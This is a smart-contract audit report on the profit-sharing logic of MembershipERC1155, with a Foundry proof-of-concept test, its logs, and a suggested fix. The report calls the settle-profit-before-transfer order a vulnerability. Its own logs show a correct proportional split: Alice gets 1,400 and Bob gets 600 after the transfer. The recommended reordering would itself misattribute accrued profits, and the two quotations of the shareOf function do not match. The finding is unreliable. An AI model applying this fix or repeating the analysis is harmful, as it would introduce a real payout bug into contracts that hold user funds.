Summary
MembershipERC1155 contract implements a profit-sharing mechanism that calculates user shares based on weighted token holdings across different tiers. The vulnerability lies in the order of operations during token transfers, where profit calculations occur before balance updates, leading to incorrect profit distributions.
Key affected components: https://github.com/Cyfrin/2024-11-one-world/blob/1e872c7ab393c380010a507398d4b4caca1ae32b/contracts/dao/tokens/MembershipERC1155.sol#L203-L212
function _update(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual override(ERC1155Upgradeable) {
if (from != address(0)) saveProfit(from);
if (to != address(0)) saveProfit(to);
super._update(from, to, ids, amounts);
}
Vulnerability Details
The profit distribution system in MembershipERC1155 calculates user shares based on token balances at the time of transfer, but processes profit updates before the actual transfer occurs. This creates a critical timing issue where profit calculations use stale balances.
_update
function in MembershipERC1155 calls saveProfit
before updating token balances through super._update
. This means profit calculations use outdated token holdings, leading to incorrect profit distributions.
https://github.com/Cyfrin/2024-11-one-world/blob/1e872c7ab393c380010a507398d4b4caca1ae32b/contracts/dao/tokens/MembershipERC1155.sol#L203-L212
function _update(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual override(ERC1155Upgradeable) {
if (from != address(0)) saveProfit(from);
if (to != address(0)) saveProfit(to);
super._update(from, to, ids, amounts);
}
The profit calculation depends on shareOf
: https://github.com/Cyfrin/2024-11-one-world/blob/1e872c7ab393c380010a507398d4b4caca1ae32b/contracts/dao/tokens/MembershipERC1155.sol#L169-L177
function shareOf(address account) public view returns (uint256) {
return (balanceOf(account, 0) * 64) +
(balanceOf(account, 1) * 32) +
balanceOf(account, 6);
}
The bug occurs because:
Profit calculation in saveProfit()
uses shareOf()
which depends on current token balances
The profit is saved before the actual transfer updates the balances
This can lead to incorrect profit calculations since the balances used don't reflect the post-transfer state
Proof of Concept
The root cause of the vulnerability lies in the _update
function of MembershipERC1155.sol: https://github.com/Cyfrin/2024-11-one-world/blob/1e872c7ab393c380010a507398d4b4caca1ae32b/contracts/dao/tokens/MembershipERC1155.sol#L203-L212
function _update(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual override(ERC1155Upgradeable) {
if (from != address(0)) saveProfit(from);
if (to != address(0)) saveProfit(to);
super._update(from, to, ids, amounts);
}
The key issues:
The profit saving mechanism executes before the token balances are updated
The saveProfit
function calculates shares based on current token balances before the transfer is complete
This order of operations creates a mismatch between actual token ownership and profit distribution
When combined with the profit calculation in shareOf
: https://github.com/Cyfrin/2024-11-one-world/blob/1e872c7ab393c380010a507398d4b4caca1ae32b/contracts/dao/tokens/MembershipERC1155.sol#L169-L177
function shareOf(address account) public view returns (uint256) {
return (balanceOf(account, 0) * 64) +
(balanceOf(account, 1) * 32) +
(balanceOf(account, 2) * 16) +
(balanceOf(account, 3) * 8) +
(balanceOf(account, 4) * 4) +
(balanceOf(account, 5) * 2) +
balanceOf(account, 6);
}
This creates a scenario where profit shares are locked in based on pre-transfer balances, leading to incorrect profit distribution after transfers occur.
This demonstrate the profit distribution vulnerability!
pragma solidity 0.8.22;
import {Test, console2} from "forge-std/Test.sol";
import "../contracts/dao/tokens/MembershipERC1155.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
contract ProfitDistributionExploitTest is Test {
MembershipERC1155 implementation;
TransparentUpgradeableProxy proxy;
ProxyAdmin proxyAdmin;
MembershipERC1155 membershipProxy;
IERC20 mockUSDC;
address alice = address(1);
address bob = address(2);
function setUp() public {
mockUSDC = IERC20(deployCode("MockERC20.sol:MockERC20", abi.encode("USDC", "USDC", 6)));
implementation = new MembershipERC1155();
proxyAdmin = new ProxyAdmin(msg.sender);
proxy = new TransparentUpgradeableProxy(
address(implementation),
address(proxyAdmin),
abi.encodeWithSignature(
"initialize(string,string,string,address,address)",
"TestDAO",
"TEST",
"baseURI/",
address(this),
address(mockUSDC)
)
);
membershipProxy = MembershipERC1155(address(proxy));
membershipProxy.grantRole(membershipProxy.OWP_FACTORY_ROLE(), address(this));
deal(address(mockUSDC), alice, 2000e6);
deal(address(mockUSDC), bob, 2000e6);
}
function testProfitDistributionExploit() public {
membershipProxy.mint(alice, 0, 5);
vm.startPrank(alice);
mockUSDC.approve(address(membershipProxy), 1000e6);
membershipProxy.sendProfit(1000e6);
uint256 profit1 = membershipProxy.profitOf(alice);
console2.log("\nStep 1 - Initial State:");
console2.log("Alice balance:", membershipProxy.balanceOf(alice, 0));
console2.log("Initial Profit:", profit1);
membershipProxy.safeTransferFrom(alice, bob, 0, 3, "");
console2.log("\nStep 2 - After Transfer:");
console2.log("Alice balance:", membershipProxy.balanceOf(alice, 0));
console2.log("Bob balance:", membershipProxy.balanceOf(bob, 0));
mockUSDC.approve(address(membershipProxy), 1000e6);
membershipProxy.sendProfit(1000e6);
uint256 aliceProfit = membershipProxy.profitOf(alice);
uint256 bobProfit = membershipProxy.profitOf(bob);
console2.log("\nStep 3 - Final Profit State:");
console2.log("Alice profit:", aliceProfit);
console2.log("Bob profit:", bobProfit);
assertTrue(aliceProfit > profit1, "Alice's profit should incorrectly increase");
assertTrue(bobProfit < 1000e6, "Bob's profit should be incorrectly low");
vm.stopPrank();
}
}
Logs:
Ran 1 test for test/ProfitDistributionExploit.sol:ProfitDistributionExploitTest
[PASS] testProfitDistributionExploit() (gas: 311436)
Logs:
Step 1 - Initial State:
Alice balance: 5
Initial Profit: 1000000000
Step 2 - After Transfer:
Alice balance: 2
Bob balance: 3
Step 3 - Final Profit State:
Alice profit: 1400000000
Bob profit: 600000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.61ms (3.58ms CPU time)
The logs show exactly how the profits are being incorrectly distributed:
-
Initially Alice has 5 tokens and receives 1,000,000,000 in profits
-
After transferring 3 tokens to Bob (60% of holdings), the profit distribution becomes skewed
-
In the final state:
Alice's profit increased to 1,400,000,000 despite having fewer tokens
Bob only received 600,000,000 despite holding more tokens
This shows the vulnerability where profit calculations are not being properly adjusted during token transfers, allowing Alice to retain more profits than she should while Bob receives less than his fair share based on token holdings.
Impact
Users could receive incorrect profit calculations during transfers
The lastProfit
tracking could be out of sync with actual token ownership
This affects all profit distribution mechanisms in the system
Profit distribution becomes misaligned with actual token ownership
Users can receive incorrect profit amounts during claims
The weighted share calculation (shareOf
) uses stale balances
Accumulated profits may be incorrectly attributed between sender and receiver
The totalProfit tracking becomes unreliable over multiple transfers
The vulnerability affects the core profit sharing mechanism of the protocol, potentially leading to economic losses for users through incorrect profit distributions.
This issue is particularly dangerous because it impacts all transfer operations and the fundamental profit sharing functionality that token holders rely on.
Recommendations
// Update balances first, then calculate profits using correct token holdings
function _update(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual override(ERC1155Upgradeable) {
- if (from != address(0)) saveProfit(from);
- if (to != address(0)) saveProfit(to);
super._update(from, to, ids, amounts); // Update balances first
+ if (from != address(0)) saveProfit(from); // Calculate profits after balance update
+ if (to != address(0)) saveProfit(to);
}